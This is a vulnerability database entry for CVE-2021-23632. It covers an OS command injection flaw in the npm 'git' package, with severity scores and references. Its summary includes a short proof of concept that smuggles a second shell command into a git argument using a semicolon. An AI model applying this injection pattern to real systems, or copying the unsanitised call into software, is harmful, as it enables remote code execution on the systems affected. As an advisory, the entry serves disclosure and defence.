CVE-2021-23632 json
Remote Code Execution (RCE)
published 2022-03-17 4 y ago modified 2026-07-08 4 mo ago also GHSA-9gqr-xp86-f87h , EUVD-2022-1395
- cvss
- 6.6
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 2.4%
- EPSS 2.4% chance of exploitation in 30 days, percentile 83%
- public exploits
- 0
- none known
Summary
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
Exploit prediction
2.35% chance of exploitation in the next 30 days, higher than 83% of all scored CVEs (FIRST EPSS, 2026-11-08).
Exploits and checks
- snyk.io https://snyk.io/vuln/SNYK-JS-GIT-1568518 referenced PoC, tagged "exploit" by a source, unverified
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CNA | 3.1 | 6.6 | CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
| NVD | 3.1 | 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| NVD | 2.0 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P |
| GitHub | 3.1 | 6.6 | CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| npm | git | <=0.1.5 |
no fix listed |
Affected products
- n/a git
Classification
References
-
snyk.io
/vuln/SNYK-JS-GIT-1568518
web, exploit, third-party-advisory
-
nvd.nist.gov
/vuln/detail/CVE-2021-23632
advisory
Sources
- CVE List CVE-2021-23632
- GitHub Advisory GHSA-9gqr-xp86-f87h
- NVD CVE-2021-23632
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.